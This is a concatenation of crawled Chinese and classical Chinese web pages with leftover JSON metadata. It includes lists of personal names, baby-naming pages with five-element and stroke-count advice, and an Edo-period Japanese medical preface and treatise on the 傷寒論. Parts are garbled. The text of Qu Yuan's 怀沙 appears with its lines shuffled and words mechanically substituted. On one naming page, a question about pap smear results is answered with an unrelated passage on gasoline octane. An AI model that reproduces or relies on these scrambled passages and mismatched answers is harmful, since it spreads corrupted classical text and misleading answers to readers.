秦楚莹 秦楚颖 秦川婷 秦川英 秦传芳 秦传倩 秦春芳 秦春花 秦春娟 秦春莉 秦春丽 秦春玲 秦春梅 秦春妹 秦春蓉 秦春霞 秦春妍 秦春艳 秦春燕 秦春英 秦春莹 秦春玉 秦淳瑛 秦绰悦 秦慈文 秦从芬 秦骢玉 秦聪英 秦聪颖 秦琮文 秦萃怡 秦翠娥 秦翠芳 秦翠红 秦翠娟 秦翠莉 秦翠玲 秦翠萍 秦翠婷 秦翠艳 秦翠英 秦存梅 秦大芳 秦大丽 秦大玲 秦大萍 秦大琼 秦大蓉 秦大文 秦丹红 秦丹娟 秦丹丽 秦丹琳 秦丹玲 秦丹梅 秦丹文 秦丹霞 秦丹艳 秦丹英 秦丹玉 秦道玲 秦道霞 秦道英 秦得文 秦德芳 秦德芬 秦德梅 秦德文 秦德霞 秦德艳 秦登莉 秦殿芳 秦定霞 秦东娥 秦东娟 秦东丽 秦东梅 秦东霞 秦东英 秦冬莉 秦冬丽 秦冬玲 秦冬梅 秦冬霞 秦冬雪 秦冬艳 秦冬燕 秦冬英 秦岽艳 秦杜怡 秦段燕 秦娥秀 秦恩婷 秦恩瑶 秦恩玉 秦二霞 秦发红 秦凡莉 秦凡婷 秦梵怡 秦方文 秦方媛 秦芳芳 秦芳娟 秦芳丽 秦芳婷 秦芳霞 秦芳妍 秦芳怡 秦飞雪 秦飞燕 秦菲怡 秦霏秀 秦翡文 秦芬芳 秦芬芬 秦芬茹 秦丰怡 秦风梅 秦风怡 秦枫茹 秦枫婷 秦枫怡 秦枫媛 秦锋美 秦逢梅 秦逢美 秦缝梅 秦凤娟 秦凤丽 秦凤玲 秦凤梅 秦凤琴 秦凤霞 秦凤艳 秦凤怡 秦凤英 秦奉美 秦伏颖 秦芙芳 秦芙蓉 秦芙怡 秦福英 秦府英 秦付芳 秦付英 秦富芳 秦富琳 秦馥玲 秦改玲 秦改英 秦港文 秦古梅 秦关雪 秦官娥 秦冠丽 秦光红 秦光娟 秦光文 秦光英 秦光莹 秦光玉 秦广琳 秦广萍 秦广文 秦广艳 秦瑰萍 秦瑰妍 秦贵文 秦桂芳 秦桂芬 秦桂花 秦桂梅 秦桂美 秦桂萍 秦桂琴 秦桂霞 秦桂艳 秦桂怡 秦桂英 秦桂颖 秦郭丽 秦国芳 秦国芬 秦国红 秦国梅 秦国美 秦国萍 秦国琴 秦国艳 秦国燕 秦国英 秦国颖 秦国媛 秦海芳 秦海红 秦海花 秦海娟 秦海丽 秦海琳 秦海玲 秦海梅 秦海萍 秦海倩 秦海琼 秦海蓉 秦海茹 秦海文 秦海霞 秦海艳 秦海燕 秦海瑶 秦海怡 秦海英 秦海莹 秦海颖 秦海媛 秦海悦 秦函蓉 秦函悦 秦晗婷 秦晗莹 秦晗颖 秦涵芳 秦涵文 秦涵嫣 秦涵莹 秦涵颖 秦涵玉 秦寒梅 秦寒玉 秦汉梅 秦汉琼 秦汉婷 秦汉文 秦汉媛 秦菡文 秦菡悦 秦翰文 秦翰悦 秦瀚文 秦杭悦 秦豪洁 秦豪英 秦好文 秦昊冉 秦昊文 秦昊秀 秦昊怡 秦昊媛 秦浩冉 秦浩文 秦皓冉 秦皓文 秦皓秀 秦颢芳 秦颢妍 秦合英 秦荷丽 秦赫文 秦恒霞 秦弘丽 秦弘梅 秦弘颖 秦红芳 秦红红 秦红花 秦红莉 秦红丽 秦红玲 秦红梅 秦红美 秦红霞 秦红艳 秦红燕 秦红英 秦红玉 秦宏芳 秦宏丽 秦宏梅 秦宏美 秦宏妹 秦宏文 秦宏艳 秦宏燕 秦宏英 秦宏玉 秦泓艳 秦泓燕 秦泓怡 秦泓颖 秦洪芳 秦洪娟 秦洪萍 秦洪霞 秦洪英 秦洪莹 秦虹梅 秦虹英 秦虹莹 秦鸿丽 秦鸿美 秦鸿萍 秦鸿莹 秦鸿颖 秦华芳 秦华娟 秦华丽 秦华美 秦华艳 秦华英 秦怀娅 秦怀英 秦怀玉 秦欢茹 秦桓文 秦幻玲 秦幻文 秦换娥 秦焕洁 秦焕婷 秦焕文 秦晖丽 秦卉丽 秦卉妍 秦会丽 秦会娜 秦会霞 秦会媛 秦绘萍 秦惠芳 秦惠芬 秦惠娟 秦惠丽 秦惠琳 秦惠玲 秦惠萍 秦惠蓉 秦惠文 秦惠霞 秦惠雪 秦惠颖 秦慧芳 秦慧洁 秦慧婧 秦慧娟 秦慧丽 秦慧琳 秦慧玲 秦慧娜 秦慧萍 秦慧琼 秦慧茹 秦慧婷 秦慧霞 秦慧艳 秦慧怡 秦慧英 秦慧瑛 秦慧莹 秦慧颖","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/m.pc89.com\/xm-s1-18-2.html","date":"2021-09-21T11:40:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057202.68\/warc\/CC-MAIN-20210921101319-20210921131319-00256.warc.gz","language":"lzh","language_score":0.9999983311,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9999983310699463}","num_words":542,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"健友堂 資料集\n永富獨嘨庵「漫遊雑記巻之上」\n漫遊雑記\n漫遊雑記序癸未之夏、獨嘨庵先生所撰漫遊雑記成矣、魯謹閲覧其書請梓之、先生乃曰、已矣、天下有一定之法、而無一定之病、危哉、圾圾乎、女将以有定之法待無定之病歟、魯應之曰、匪道弘人能弘人、人能弘道、斯人而斯道存、斯道而斯言出、斯言出而不朽則豈亦知來者之不可追乎、先生可、廼為之序曰、古人有言、云、古人之糟魄已矣、嗟嗟否歟、味哉、彼其言道、可謂盡矣、夫天地之廣、品類之夥、四民百伎之繁滋、有無有則、物待則以行、則待人以成、則成於一、従物於萬綜之謂之道、道之於物、小而無内、大而無外、有數存于不存、有機動于不動於是乎、文字之不可以形、言語之不可以傳固矣、故人之志道要先體其眞要之有方、要不得方、毫髪千里、其眞耗焉、其眞既耗、古先之籍、百家之言、一無不救經引足者若夫得方、則蒭堯之言尚可擇焉、耳之聞、目之見、左右皆眞、左右皆眞而後、曰古曰今、渾然二而一、二而一而後、未始有法之可體也、亦未始不有法之可體也、此之謂道之眞鳴呼、眞乎難知、必也在向方之始焉矣、醫亦道之分也、乃方乃眞、乃存於其人、知醫之有眞、而従其難乎方者、即其人也、漫遊雑記、言方之書、而眞之随存景響、爰刊公世、世讀此書、眩眞者必曰、是神其言耳、内省則疚、未足盡先生、惑方必曰、言方則是、醫豈必方、未足盡先生、學方不罔思眞不危、徴諸事實反求諸已、而後能知其方猶眞、眞猶方、方之與眞不可岐而為二者、其庶幾耶、非耶\n寶暦十三年癸未夏五月\n門人北筑龜井魯道載謹撰\n漫遊雑記巻之上\n長門永富鳳朝陽著\n姪松土蔵道遠校\n藤本幹隆昌訂\n凡欲學古醫道者、當先熟読傷寒論、而後擇良師友事之、親試諸事實、若五年、若十年、沈研感刻不休、則自然圓熟也、而後取漢唐以下之醫書讀之、則其信妄良窳、猶懸明鏡而辨妍媸也、不然則雖讀盡億萬巻之書、要無益千術焉、唐明皇使畫士韓幹畫馬、先観御府所蔵畫馬、幹曰、不必観也、陛下厩馬萬匹、皆臣之師也、又宋魯無疑、工畫草蟲年邁逾精羅大経、問其所有所傳乎、無疑笑曰、是豈有法之可傳哉、某日少時、籠草蟲而観之、究晝夜不厭、又恐其神之不完也、復就草地問観之、於是乎、始得其天、此二人之言、可以為學醫之元龜矣。\n何謂古醫道通本也、何謂通本、有病者于此、醫能望其色、聞其聲、問其症候、審其経歴、診脈、按腹、知是為某疾、而後能測其可大黄、可石膏、可人参、可附子、可大剤、可小剤以處方、乃其方約而中、古之術也、是故診候差失、則其病不愈、不可不精察也、不可不審鑒也、至其機會之微、断毫髪於心手之問、則神遇妙契、不可言而論也、不可筆而傳也、唯在乎其人勤勉以得之已、近世稱古醫道者、率皆不學之徒、殊暗天地之理、所言所行、牽強附會、多矯柱過直、悪咽絶食之類矣、或曰、論症不論因、或曰、藥無寒熱、是豈古之義哉、嗚呼、聞之則彰彰、施之則潰潰、遂使世人謂古醫道有害於世、豈可不慨嘆乎。\n治療之道二端、曰持重、曰逐機、所謂持重者、病深則治一、非迂遠而過日也、所謂逐機者、證移則輙随、非迷惑而轉方也、持重者常也、逐機者常也、逐機者變也、勿能逐機而失於持重焉、勿移持重而忽於逐機焉。\n今世學古醫道之徒、事師僅不過一二年、其中未有所得、飛飜歸家郷、偶遭遇順境、痊得痼疾數人、則振抜自豪、以為人無復我加矣、逐侮弄甘逐巴豆、誤治誤人、軀随迍邅、則遽若老狗猫兒、垂首揺尾、乞憐於朝市之人、徒前集毒之藥裏、翻為養榮益氣之棲宅、何其無特操也。\n凡百技始於巧、終於拙、出於思、入於不思、故巧思極則神妙、神妙則自然、自然者不可以巧思得、不可以歳月到、不可離巧思而得、不可外歳月而到。\n夫學古醫道者、運思於傷寒論、以病者、為師、曲盡其變態、則萬病之情状、秩然於胸裏、夫然後、可以儆未萠治未病、今之醫者則不然、巧思不熟、規轍不定、病者至前、始摸索焉、不亦晩乎。\n従事於古醫道者、其人勢利不集於心、則亦未必多讀書、枕一傷寒論足矣。\n世醫動謂、傷寒論於外邪、天下無以尚焉、至千雑病、未必然、嗚呼卑卑哉、夫傷寒有萬病、萬病有傷寒、廻互参究、始可能治萬病、故傷寒之為書、極證之變化、以盡其治法、萬病自顕列其中、乃雖雑病亦豈有尚焉者乎、是以、學者苟能研究砥廣、一握驪珠於此中、則治術之大本自立、而千金外臺宋元遼明之瑣言家説、亦皆為我使用、猶正統一定、則九夷八蠻悉奉其正朔也。\n冷齋夜話曰、龍舒太平寺、有日者、能課、凡為市井尋常課、則莫不奇中、為達官權貴課、則皆無驗、成問其故、答曰、我無徳量、見尋常人、則據術而言、無所綠篩見權貴人、則畏怖、往往置術之實、而務為絏詞、其無驗、要不足怖矣、噫、彼挟奇譎幻恠、欺世誣人者、尚能自知非如此、今世之醫、其心多不潔、而希其技之精妙、猶求向西見東也、豈非不自省之甚乎。\n扁鵲曰、越人能知可起者起之、夫諸不治之病、雖攻之百端、終無益、故余以能知死者與不治者、為醫流之第一義諦、能知死者、而後能知不死者、能知不治者、而後能知治者、醫之事畢矣。","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kenyudo-clinic.com\/about\/doc\/m01.html","date":"2023-06-01T19:49:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224648000.54\/warc\/CC-MAIN-20230601175345-20230601205345-00758.warc.gz","language":"lzh","language_score":0.8061472774,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.8061472773551941, \"cmn_Hani_score\": 0.0654250830411911, \"nan_Hani_score\": 0.04366011917591095, \"jpn_Jpan_score\": 0.022223735228180885, \"yue_Hani_score\": 0.018169552087783813}","num_words":21,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.806,"perplexity_score":500.0,"cluster_detection":1} +{"text":"鼠寶寶起名字王祎杰(請問子宮頸抹片檢查是否馬上就能知道結果呢?)\n取名字,王祎什么好聽\n王祎然 王祎淵 王祎浩 王祎逸 王祎材 王祎遠 王祎博 王祎誠 王祎宸 王祎輝 王祎樺 王祎宇 王祎傲\n王祎棋 王祎野 王祎杰 王祎昊 王祎楷 王祎嘯 王祎瑞 王祎軒 王祎松 王祎舟 王祎豪 王祎朋 王祎佑\n請問子宮頸抹片檢查是否馬上就能知道結果呢?\n不可以。95號汽油的辛烷值比92號汽油的辛烷值高,使用92號汽油時,會產生爆燃或者早燃,嚴重影響發動機的動力性和經濟性,嚴重時,會使發動機損壞。\n一、95號汽油:\n95號汽油,就是研究法辛烷值(ron)不小于95,抗爆指數(ron+mon)\/2\n不小于90的車用汽油。\n二、92號汽油就是辛烷值為92的汽油,適合中檔車(壓縮比比較低的)。\n三、發動機爆燃:\n所謂的爆燃是由于氣體的壓力和溫度過高,可燃混合氣在沒有點燃的情況下自行燃燒,且火焰以高于正常燃燒數倍的速度向外傳播,造成尖銳的敲缸聲。這會使發動機過熱,功率下降,機油消耗量增加以及機件損壞。輕微爆燃是允許的,但強烈爆燃對發動機傷害很大。正常燃燒時,混合氣在燃燒室內被壓縮點火,火焰前鋒從火花塞電極處向四周展開,火焰傳播速度為15~30m\/s。而爆震自燃形成的火焰中心所產生的火焰傳播速度高達2000m\/s以上,使未燃混合氣以極高的速度燃燒。這種燃燒將會發生劇烈的壓力增高,繼而發生迅速的壓力波動。壓力波撞擊氣缸壁、活塞頂部,于是就發生爆燃特有的\/咔咔的尖銳的金屬撞擊聲,即燃燒噪聲。\n發動機一旦發生爆燃其危害極大,它造成發動機氣缸壁、活塞、活塞環、氣門、連桿及連桿軸承等運動件發生變形損壞。\n高分求名字\n王時第 王常云 王智一 王珺越 王天至 王海珂 王嘉輝 王春陽 王道睿 王心科 王宇睿 王文明 王新曦 王東華 王建毅 王南鏵 王恒炯 王建山 王熙卿 王中林 王寶超 王迅楓 王家立 王冰平 王桂垚 王詩杰 王小人 王家成 王紹文 王愷偉 王苡名 王坷森 王書琦 王東鑄 王家男 王興寒 王漢釗 王春東 王光昆 王長敏 王新民 王學飛 王居發 王子軍 王之之 王慧津 王宇鐘 王小睿 王依平 王德旋 王寶欣 王孟斌 王燾真 王毅波 王冰喜 王楚誠 王工華 王旖華 王建新 王云逗 王昱韜 王張銘 王春裕 王忠然 王鴻駿 王盈瀚 王正平 王祥洋 王之宏 王曉杰 王雨肇 王祉浪 王琦云 王芷央 王宸峰 王路程 王佳沐 王俊熠 王梟強 王果誠 王柚宇 王雨祥 王山王 王仲濤 王剴立 王漢情 王朱煊 王博奕 王榕翼 王裕月 王鵬濤 王海國 王俊慧 王浩齊 王會春 王大軒 王建安 王玉杰 王華翔 王福博 王加民 王鍇鄴 王可萌 王道朝 王永瞳 王佩竣 王棋森 王偉冠 王尚民 王紹先 王文淇 王譽軍 王天鋒 王新鴻 王欣江 王恪睿 王牧華 王倬永 王文銘 王浩權 王以坡 王家皓 王建鵬 王蘅霖 王鎮然 王奕澤 王澤洋 王鴻棟 王興永 王國連 王利郗 王凡宇 王志厚 王銘葉 王化琰 王琬佳 王靄潤 王文多 王朝容 王楚龍 王岐程 王奕高 王天瑜 王泱朝 王俊榮 王玉瑯 王錢君 王仲偉 王光淳 王曉城 王驥城 王雨琦 王孝翔 王百韜 王承東 王國全 王逸萱 王嘉洋 王胤林 王俊宇 王書水 王明生 王冬國 王嘉宇 王國鳳 王頤輝 王杰航 王上巖 王一生 王文木 王國燦 王新原 王仲仁 王宏榮 王西源 王朋晉 王子連 王博瀚 王紅弘 王鍶軒 王中纖 王笠瑜 王霏杭 王子楚 王新荷 王飛鏹 王奕嘉 王明杰 王彥慧 王嘉俊 王秉文 王昭軒 王嘉亮 王澤牧 王騰博 王紫楠 王南民 王子濤 王國雨 王祚彥 王嘉龍 王薪斌 王重洋 王亞健 王巨芷 王櫟浩 王伊斌 王建杰 王駿浩 王澤飛 王正杰 王青繹 王玉宸 王子均 王沛向 王澤慶 王澤清 王瑞昂 王時朗 王天順 王定浩 王繼文 王紹樂 王溟鋒 王虎學 王弘涵 王同萌 王運鳴 王遠軒 王潤渭 王印宇 王桐龍 王忡源 王正源 王相福 王小航 王鴻翔 王鳴二 王浩東 王斐賢 王騏中 王家宇 王子森 王旭北 王詩林 王嘉玨 王銹璽 王竟昊 王昊雨 王健樂 王祎翊 王若銘 王雨儐 王春松 王海中 王家俊 王興歡 王甬泰 王傲殷 王奕鵬 王皓華 王煒衡 王家鑫 王楷軍 王莆路 王粟晨 王旭峰 王啟軍 王焯寧 王璦名 王小涵 王松好 王嘉彥 王佑庭 王曉江 王炳凱 王培敏 王雪能 王曉愷 王展逸 王心東 王可鸚 王海辰 王楨芮 王鑫鋒 王釗玉 王森寬 王濟翊 王鈞杰 王家文 王青洋 王超曦 王士天 王炳旻 王晟文 王世明 王海妁 王彗淇 王克清 王嘉玨 王可文 王信琛 王吟欣 王證升 王永涵 王天煒 王德康 王秀烯 王芯來 王普余 王羿昌 王子冰 王佳謙 王慶哲 王亦喧 王語浩 王林彤 王嘉臣 王楚罡 王鵬馨 王順翰 王德奇 王克剛 王逸錦 王德博 王天發 王雅翔 王家東 王倫夫 王慶東 王剛臣 王經滔 王常源 王含杰 王欣偉 王灼競 王宇超 王景民 王裴濱 王春浩 王厚勛 王溫月 王熙波 王振民 王顏蜂 王嘉濤 王宸偉 王晨軒 王子壘 王沚山 王子龍 王章清 王乃軒 王俊偉 王士祥 王沁霏 王伊皓 王苘峰 王祎曉 王肖因 王杰和 王居輝 王海君 王軼平 王梓春 王紀夏 王殿豪 王嘉英 王川然 王遠子 王信墨 王琛海 王得張 王振錕 王雍睿 王延成 王嘉馨 王忻翔 王照軍 王小軒 王哲華 王大霖 王寶龍 王瑋琦 王志宏 王寶君 王士音 王利公 王鵬剛 王雨欣 王乾軒 王正澤 王亦鑫 王梓翰 王宇騰 王國博 王嘉洲 王宏枝 王雨昕 王桂鴻 王新校 王奕軒 王星惠 王澤強 王鈳析 王鴻彬 王寶達 王籽宇 王賀征 王湘馨 王翔澤 王衡森 王柯聰 王思智 王治汀 王承濤 王睿德 王櫻乙 王明輝 王瑞紊 王浩欽 王子濤 王奉斌 王惠澤 王怊豪 王騰軒 王俊銘 王云明 王崢民 王真彥 王湘賓 王彥臣 王寶林 王旺瑤 王澤峰 王耀浩 王浩駿 王俊桐 王瑜豪 王樂華 王東哲 王嘉軒 王義熙 王鴻林 王子霏 王樹宸 王樹子 王光寶 王日然 王金誼 王一力 王騰朦 王祥生 王昭亮 王永嘉 王昭睿 王寶波 王可耀 王銀英 王億宇 王辰晟 王翔鐵 王興駒 王學年 王有鶴 王家億 王懷涵 王耀潤 王函生 王依欣 王子函 王秀森 王林澄 王新洋 王魏仁 王浩有 王衛和 王漢天 王會林 王育韓 王鈞仁 王世舉 王晨羚 王奎培 王若豪 王天興 王禮天 王佩棋 王鐵宇 王一洋 王文禾 王智翔 王漉水 王鎏東 王梓洋 王成宇 王浩昂 王戈波 王泊革\n怎么樣?不錯吧?如果你還不滿意這些,我建議你去這里隨緣測:\/\/隨緣測.mingtou.隨緣測\/\n姓王,女孩,生于2010年九月二十三日(陰歷八月十六下午三點五十四)起什么名字好\n王顏玉 王譯娟 王彩煬 王春皓 王紅紋 王逸萌 王丹尹 王文雅 王對辰 王玉欣 王宏汝 王金惠 王馨妮 王丁鴻 王羽睿 王貞蓉 王烽平 王梓然 王厲洋 王冬畫 王秉珊 王詩泓 王鳳鋅 王蘊怡 王育林 王會圓 王雨翔 王俊欣 王玫桐 王山丹 王雪蘭 王小瀚 王雨英 王瑩元 王云楠 王阿希 王藝巧 王雅瑜 王鈺文 王懿陽 王昊明 王若緙 王彥儀 王霄逾 王一霞 王雨萍 王笑薇 王延婷 王蘭磊 王子慧 王苗佳 王靜晉 王韶韻 王偉婷 王育瑩 王曉昕 王志楷 王文媛 王苗蓮 王詠芯 王悅明 王丹楠 王灝英 王昱輝 王奕雙 王表杰 王天安 王美平 王鈺成 王福涵 王宛婷 王艷姍 王馨熒 王舒竹 王語美 王苾微 王玉輝 王秋晴 王瓊靈 王婷平 王振琳 王靈萱 王師幸 王珞艷 王可煉 王梓單 王曉雅 王運楠 王如玉 王家婷 王曼芫 王惠怡 王圣萌 王巧諾 王美甜 王顏睿 王琴惠 王玉娟 王小文 王盛琪 王裕榮 王梓以 王翠茹 王卉卉 王遠溪 王俊蘭 王英祈 王志右 王淑莎 王羅凡 王榮文 王錦芝 王陽木 王君穎 王一晶 王慶陽 王佳然 王隹然 王爍潔 王昕雨 王珈淼 王紫婷 王舒颯 王維芳 王子焱 王思喬 王祎楠 王雅人 王凱然 王虹博 王思筱 王馨寧 王儒玲 王昊璇 王媛恒 王博木 王若辰 王羽清 王蘭琪 王靜鋅 王婭焙 王娟慈 王亞玲 王霏彤 王思潔 王靜玲 王志瑞 王雅婷 王舒紅 王曉娟 王虹俊 王艷童 王紫楠 王華霞 王銘芹 王璐偉 王宇奕 王瀟平 王先鑫 王欣芹 王琬茵 王一默 王伊粵 王嘉黎 王邦瑤 王會婷 王于帆 王珠琪 王渝霞 王雅涵 王于睫 王甜蓀 王馨艾 王冰霖 王匯杰 王潔蘭 王燁哲 王宇雨 王麗兵 王章一 王昭穎 王湘一 王花彤 王思瑛 王筱蓉 王鳳潔 王子君 王廣圭 王松杰 王思陵 王邕英 王漪紓 王淑巖 王雨怡 王菡麟 王光穎 王玉春 王靜倩 王映隆 王宇彤 您可以自己選下!建議取王昕雨 這個名字比較優雅!23號在浙江也下了點小雨,讓我們感到清涼的天氣,清晰的空氣涼爽的小雨\n求三個字的名字\n王卓洋卓 洋 卓從生辰八字上看,名字中需有火相助,卓字的五行屬性為火。\n洋從生肖上看,生肖為牛,名字中應有氵部首為吉,洋的部首為氵。\n字義卓表示高遠、高明、高超;洋表示廣大、洋流、洋洋,意義優美。\n音律王、卓、洋的讀音是wáng、zhuó、yáng,聲調為陽平、陽平、陽平,音律較好。\n字型王為上下結構,4畫;卓為上下結構,8畫;洋為左右結構,9畫;字型優美,利于書寫。\n五格該名字的五格筆畫搭配為5-8-10,五格俱佳。\n意蘊名字可以趣解為:\"卓爾 �6�1 洋紅\"。成語卓立雞群 汪洋自恣擴展了名字的意境。","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.nkzz.net\/news\/968573.html","date":"2024-04-16T05:20:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817043.36\/warc\/CC-MAIN-20240416031446-20240416061446-00715.warc.gz","language":"lzh","language_score":0.9071609378,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9071609377861023, \"nan_Hani_score\": 0.06594552844762802, \"cmn_Hani_score\": 0.026867492124438286}","num_words":753,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.917,"perplexity_score":500.0,"cluster_detection":1} +{"text":"怀沙_高考网\n倒上认为下。重华弗成牾兮,吠所怪也;修道幽拂兮,易初本由兮,吾将认为类兮。多不知吾之异采。\n离娄微睇兮,人心弗成谓兮。怀情抱质兮,固庸态也。浩浩沅、湘兮,怀瑾握瑜兮,愿志之有象。含忧虞哀兮,常度未替;余何畏忌兮?曾伤爰哀,邈弗成慕也。日昧昧其将暮;羌不知吾所臧。道远忽兮。刓方认为圜兮,材朴委积兮。孔静幽墨⑦。\n孰知余之从容!分流汩兮,鸡雉翔舞。曾吟恒悲兮,草木莽莽。夫党人之鄙妒兮,任重载盛兮,巧匠不斲兮,定心广志,独无匹兮。乱曰,骥将焉程兮?人生禀命兮,陷滞而不济;世溷不吾知,岂知其故也?汤禹很久兮,离愍之长鞠;大人所盛。同糅玉石兮,瑾厚认为丰;章画职墨兮!\n君子所鄙。眴兮窈窈,内直质重兮,诽骏疑桀兮,孰察其揆正?玄文幽处兮,进道北次兮,一概而相量。冤结纡轸兮,莫知余之统统。邑犬群吠兮,限之以大故。变白而为黑兮,各有所错兮。瞽认为无明。世既莫吾知兮,抚情效志兮,心弗成谓兮。穷不得余所示。抑心而自强;矇谓之不章。\n惩违改忿兮,永叹慨兮。伤怀永哀兮,知死弗成让兮,凤皇正在笯兮,汩徂南土。文质疏内兮,陶陶孟夏兮,前度未改;俯誳以自抑。永叹喟兮。明以告君子兮,离湣而不迁兮,古固有不并,伯笑既殁兮,愿勿爱兮。重仁袭义兮,","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/www.tornadobeer.com\/yulexinwenbagua\/234.html","date":"2019-05-20T03:50:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232255536.6\/warc\/CC-MAIN-20190520021654-20190520043654-00264.warc.gz","language":"lzh","language_score":0.5582860112,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5582860112190247, \"nan_Hani_score\": 0.13551603257656097, \"cmn_Hani_score\": 0.044394198805093765, \"zxx_Latn_score\": 0.03449048101902008, \"und_Tang_score\": 0.03050006553530693, \"und_Yiii_score\": 0.016518546268343925, \"und_Cans_score\": 0.012730078771710396, \"und_Cyrl_score\": 0.011085771955549717, \"und_Kits_score\": 0.010584065690636635}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.357,"perplexity_score":500.0,"cluster_detection":1} +{"text":"fm霍芬海姆队徽 www.giuaeg.com.cn\n姓名,傳承了人的情、意、志。\n姓名,蘊涵了人的精、氣、神。\n名乃心理學、社會學、哲 學、歷史、民俗學精髓之綜合成果,是一個人形象、素質、品味之標志。\n如今,好產品也需 要一個好商名,好人也需要一個好名聲。\n擁有一個卓而不群、意味深長、意境高闊、言心言 志的好名, 的確是一筆取之不盡的無形財富。\n寶寶取名取個響亮的好名字是父母的愿望。\n適 合農歷八月的猴寶寶名字大全:由《好運來起名》 智勇 楷濟 依明 柯望 仁承 游羽 如海 溫春 曠林 舜華 涉空 昂藏 德勝 恨樹 秋杉 石堅 蕭光 循流 謙然 凱歐 依揚 致圣 雪輕 秋空 客新 恕仁 志盛 義熱 海波 會景 凌烊 益青 喬松 詢壯 彌茂 曠世 更上 君達 曉耕 本凈 常德 新雄 景引 林光 樂厚 善昌 秋寒 孤松 至哲 含章 璘穎 奔海 道彤 健俊 錦績 尚賢 志浩 柯勉 造略 保金 聞道 知雪 高振 善慶 達安 泉蒙 兼鴻 萬壑 知彰 紋龍 推厚 沖夷 中維 庸德 金炎 柯即 德忠 波峙 志天 安存 誰知 翱翔 柯己 溫文 言果 德新 白浪 至海 晴暉 思頎 恭安 善志 雪海 文東 星辰 萬沙 潛新 喬木 光昭 江流 超才 晴云 忘塵 長瑞 慶生 依誠 曲鳴 睿哲 城名 豪杰 穆朝 厲明 流相 游征 江天 銳鋒 明理 菲凡 德閑 長松 春空 壽強 紫引 悟浩 清如 潮平 安福 勤雪 言炎 杉青 問師 風操 善時 律身 林杉 柯忠 肇修 少文 幽為 靈耀 王瑞 風秋 欣德 凌高 和祥 容眾 顧言 昭明 仁毅 擾毅 悟影 光迢 霜杰 利仁 株果 羽明 依祥 樂杉 馨折 謙依 赤致 留曇 泉溫 古月 健君 登高 西春 游嚶 常至 湛明\n依隆 萬勇 愕枝 離席 振新 滿川 承天 貴義 沖溪 羽勤 直溫 遷善 必強 仁青 雪芹 江潮 如梭 世艱 高防 吹笛 悟云 波浩 寒柏 書燈 博文 云宵 適合農歷 8 月猴年男寶寶名字: 菲星 熟思 樹昆 剛壯 云高 韶華 責己 吾樂 凱皇 游諒 慎曉 順德 新清 德運 辰宇 辰皓 辰釗 辰銘 辰錕 辰陽 嚴貴 豐元 義理 悟瀚 少智 積勺 悟修 亦朋 慮求 若塵 傳日 懷德 海明 誰雪 新書 錦若 獲蘆 賢德 江南 永遠 晨軒 晨濤 晨濡 晨濰 鴻振 昆皓 昆鵬 昆明 昆杰 昆雄 梵志 棠華 森茂 森立 森榮 森秀 楚懷 楚風 楚天 楚云 榆英 榕海 茂材 榮輝 榮盛 榮業 榮澤 榮暢 榮志 榮昌 榮熙 榮華 宇森 寶森 金森 梓豪 梓宇 軒昂 彥昌 曜坤 曜棟 曜文 曜曦 曜燦 曜瑞 永昌 子昂 智宇 智暉 博耘 昆綸 鵬濤 鵬煊 紹暉 文昂 文景 曦哲 曦晨 曦之 新曦 鑫鵬 旭念 旭堯 旭鵬 旭東 旭炎 炫明 宣朗 學智 銘晨 樸誠 樸淳 樸心 杉松 杉月 杏林 材德 材勇 俊永 材賢 松月 松雪 松雨 松濤 松風 松琳 松霖 楓林 柏嵐 柳思 宇森 寶森 金森 梓豪 梓宇 偉霖 傲蕾 炎彬 越彬 燁霖 梓桐 曲桐 梓巖 蔚桐 梓旬 樸誠 樸淳 樸心 杉松 杏林 起運 胤運 佑運 允晨 運恒 運凡 運凱 運鵬 運浩 運誠 運良 運鴻 運鋒 運盛 運升 運杰 運珹 運珧 運駿 運凱\n運乾 維運 運晟 運萊 運華 運發 云天 耘志 耘濤 昂然 昂雄 昂杰 昂熙 昌勛 昌盛 昌淼 昌茂 烊樣 適合農歷 8 月猴年女寶寶名字: 瑩綠 瑩然 瑩白 瑩潔 菀菀 菀柳 菁英 菁菁 菊芬 星季 芳林 芳荃 若欣 若芳 麗芳 秋芳 妍芳 留芳 芷若 芷蘭 若淑 若芳 若英 英資 英賢 英才 英哲 英慧 英秀 茂材 茂美 茂才 茉莉 茗雪 茜紅 茵茵 茹薇 榮輝 榮盛 榮業 穆清 穆靜 竹筱 竹月 竹青 竹華 竹雨 竹韻 竺寒 笙簫 林立 林泉 林熙 林壑 林海 林嵐 林霏 林樾 林濤 林菁 梅梅 梅紅 梅英 梅雪 梅風 梅花 梓榆 夢澤 夢絲 秋蕓 夢云 夢雨 夢華 夢月 秋興 秋穎 秋月 秋露 秋旸 秋陽 松月 松雪 松琳 柏嵐 柳思 林柯 林子 林秀 林箐 樹心 木蘭 木心 木森 木犀 木樨 木槿 木棉 木蓮 木香 木藍 森秀 森麗 楚潔 楚懷 楚風 楚天 楚云 楚楚 榆英 榕海 艾之 艾韻 艾俊 藝學 藝文 芊麗 芊芊 芃芃 